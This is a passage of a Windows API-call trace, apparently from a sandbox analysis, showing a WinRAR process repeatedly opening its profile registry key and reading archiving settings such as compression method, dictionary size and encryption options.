hKey=0x2f0, lpValueName="SyncFiles", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.980] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.980] GetLastError () returned 0x5b0 [0060.980] SetLastError (dwErrCode=0x5b0) [0060.980] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.980] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Overwrite", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.980] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.980] GetLastError () returned 0x5b0 [0060.980] SetLastError (dwErrCode=0x5b0) [0060.981] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.981] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Move", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.981] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.981] GetLastError () returned 0x5b0 [0060.981] SetLastError (dwErrCode=0x5b0) [0060.981] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.981] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcRecBin", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.981] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.981] GetLastError () returned 0x5b0 [0060.981] SetLastError (dwErrCode=0x5b0) [0060.981] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.981] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcWipe", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.981] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.981] GetLastError () returned 0x5b0 [0060.981] SetLastError (dwErrCode=0x5b0) [0060.981] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.981] RegQueryValueExW (in: hKey=0x2f0, lpValueName="WipeIfPassword", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.981] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.981] GetLastError () returned 0x5b0 [0060.981] SetLastError (dwErrCode=0x5b0) [0060.981] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.981] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Solid", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.981] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.981] GetLastError () returned 0x5b0 [0060.981] SetLastError (dwErrCode=0x5b0) [0060.981] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.981] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Test", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.981] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.981] GetLastError () returned 0x5b0 [0060.981] SetLastError (dwErrCode=0x5b0) [0060.981] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.982] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RecEnabled", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.982] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.982] GetLastError () returned 0x5b0 [0060.982] SetLastError (dwErrCode=0x5b0) [0060.982] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.982] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RecSize", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0xfffffffd, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.982] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.982] GetLastError () returned 0x5b0 [0060.982] SetLastError (dwErrCode=0x5b0) [0060.982] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.982] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Recovery", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x0, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x2 [0060.982] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.982] GetLastError () returned 0x5b0 [0060.982] SetLastError (dwErrCode=0x5b0) [0060.982] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.982] RegQueryValueExW (in: hKey=0x2f0, lpValueName="EraseDest", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.982] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.982] GetLastError () returned 0x5b0 [0060.982] SetLastError (dwErrCode=0x5b0) [0060.982] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.982] RegQueryValueExW (in: hKey=0x2f0, lpValueName="AddArcOnly", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.982] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.982] GetLastError () returned 0x5b0 [0060.982] SetLastError (dwErrCode=0x5b0) [0060.982] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.982] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ClearArc", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.982] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.982] GetLastError () returned 0x5b0 [0060.982] SetLastError (dwErrCode=0x5b0) [0060.982] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.982] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Lock", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.983] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.983] GetLastError () returned 0x5b0 [0060.983] SetLastError (dwErrCode=0x5b0) [0060.983] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.983] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Method", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x3, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.983] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.983] GetLastError () returned 0x5b0 [0060.983] SetLastError (dwErrCode=0x5b0) [0060.983] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.983] RegQueryValueExW (in: hKey=0x2f0, lpValueName="DictSizeLZ", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x400000, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.983] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.983] GetLastError () returned 0x5b0 [0060.983] SetLastError (dwErrCode=0x5b0) [0060.983] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.983] RegQueryValueExW (in: hKey=0x2f0, lpValueName="DictSize", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x2000000, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.983] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.983] GetLastError () returned 0x5b0 [0060.983] SetLastError (dwErrCode=0x5b0) [0060.983] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.983] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Name", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x141a0fa7c0, lpcbData=0x141a0f9c60*=0x200 | out: lpType=0x141a0f9c64*=0x1, lpData="Default Profile", lpcbData=0x141a0f9c60*=0x20) returned 0x0 [0060.983] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.983] GetLastError () returned 0x5b0 [0060.983] SetLastError (dwErrCode=0x5b0) [0060.983] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f8200 | out: phkResult=0x141a0f8200*=0x2f0) returned 0x0 [0060.983] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PasswordData", lpReserved=0x0, lpType=0x141a0f8664, lpData=0x141a0fa2c0, lpcbData=0x141a0f8660*=0x200 | out: lpType=0x141a0f8664*=0x3, lpData=0x141a0fa2c0*, lpcbData=0x141a0f8660*=0x1) returned 0x0 [0060.983] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.984] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x200) returned 0x1162e87fd10 [0060.984] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87fd10 | out: hHeap=0x1162e7c0000) returned 1 [0060.984] GetLastError () returned 0x5b0 [0060.984] SetLastError (dwErrCode=0x5b0) [0060.984] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f8a90 | out: phkResult=0x141a0f8a90*=0x2f0) returned 0x0 [0060.984] RegQueryValueExW (in: hKey=0x2f0, lpValueName="EncryptHeaders", lpReserved=0x0, lpType=0x141a0f8ef4, lpData=0x141a0f8ef0, lpcbData=0x141a0f8f28*=0x4 | out: lpType=0x141a0f8ef4*=0x4, lpData=0x141a0f8ef0*=0x0, lpcbData=0x141a0f8f28*=0x4) returned 0x0 [0060.984] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.984] GetLastError () returned 0x5b0 [0060.984] SetLastError (dwErrCode=0x5b0) [0060.984] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f8a90 | out: phkResult=0x141a0f8a90*=0x2f0) returned 0x0 [0060.984] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ZipLegacyEncrypt", lpReserved=0x0, lpType=0x141a0f8ef4, lpData=0x141a0f8ef0, lpcbData=0x141a0f8f28*=0x4 | out: lpType=0x141a0f8ef4*=0x4, lpData=0x141a0f8ef0*=0x0, lpcbData=0x141a0f8f28*=0x4) returned 0x0 [0060.984] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.984] GetLastError () returned 0x5b0 [0060.984] SetLastError (dwErrCode=0x5b0) [0060.984] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.985] RegQueryValueExW (in: hKey=0x2f0, lpValueName="OpenShared", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.985] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.985] GetLastError () returned 0x5b0 [0060.985] SetLastError (dwErrCode=0x5b0) [0060.985] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.985] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ProcessOwners", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.985] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.985] GetLastError () returned 0x5b0 [0060.985] SetLastError (dwErrCode=0x5b0) [0060.985] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.985] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SaveStreams", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.985] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.985] GetLastError () returned 0x5b0 [0060.985] SetLastError (dwErrCode=0x5b0) [0060.985] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.985] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SaveSymLinks", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.985] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.985] GetLastError () returned 0x5b0 [0060.985] SetLastError (dwErrCode=0x5b0) [0060.985] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.985] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SaveHardLinks", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.985] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.985] GetLastError () returned 0x5b0 [0060.985] SetLastError (dwErrCode=0x5b0) [0060.985] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.985] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Background", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.985] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.985] GetLastError () returned 0x5b0 [0060.985] SetLastError (dwErrCode=0x5b0) [0060.985] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.985] RegQueryValueExW (in: hKey=0x2f0, lpValueName="WaitForOther", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.986] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.986] GetLastError () returned 0x5b0 [0060.986] SetLastError (dwErrCode=0x5b0) [0060.986] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.986] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Shutdown", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.986] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.986] GetLastError () returned 0x5b0 [0060.986] SetLastError (dwErrCode=0x5b0) [0060.986] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.986] RegQueryValueExW (in: hKey=0x2f0, lpValueName="GenerateArcName", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.986] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.986] GetLastError () returned 0x5b0 [0060.986] SetLastError (dwErrCode=0x5b0) [0060.986] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.986] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VersionControl", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.986] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.986] GetLastError () returned 0x5b0 [0060.986] SetLastError (dwErrCode=0x5b0) [0060.986] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.986] RegQueryValueExW (in: hKey=0x2f0, lpValueName="BLAKE2", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.986] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.986] GetLastError () returned 0x5b0 [0060.986] SetLastError (dwErrCode=0x5b0) [0060.986] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.986] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileCopies", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.986] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.986] GetLastError () returned 0x5b0 [0060.986] SetLastError (dwErrCode=0x5b0) [0060.986] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.986] RegQueryValueExW (in: hKey=0x2f0, lpValueName="QuickOpen", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x1, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.986] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.987] GetLastError () returned 0x5b0 [0060.987] SetLastError (dwErrCode=0x5b0) [0060.987] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.987] RegQueryValueExW (in: hKey=0x2f0, lpValueName="GenerateMask", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x7ff6f762a81a, lpcbData=0x141a0f9c60*=0x100 | out: lpType=0x141a0f9c64*=0x1, lpData="yyyymmddhhmmss", lpcbData=0x141a0f9c60*=0x1e) returned 0x0 [0060.987] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.987] GetLastError () returned 0x5b0 [0060.987] SetLastError (dwErrCode=0x5b0) [0060.987] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.987] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileTimeMode", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.987] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.987] GetLastError () returned 0x5b0 [0060.987] SetLastError (dwErrCode=0x5b0) [0060.987] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.987] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileDays", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.987] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.987] GetLastError () returned 0x5b0 [0060.987] SetLastError (dwErrCode=0x5b0) [0060.987] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.987] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileHours", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.987] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.987] GetLastError () returned 0x5b0 [0060.987] SetLastError (dwErrCode=0x5b0) [0060.987] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.987] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileMinutes", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.987] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.987] GetLastError () returned 0x5b0 [0060.987] SetLastError (dwErrCode=0x5b0) [0060.987] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.987] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcTimeOriginal", lpReserved=0x0, 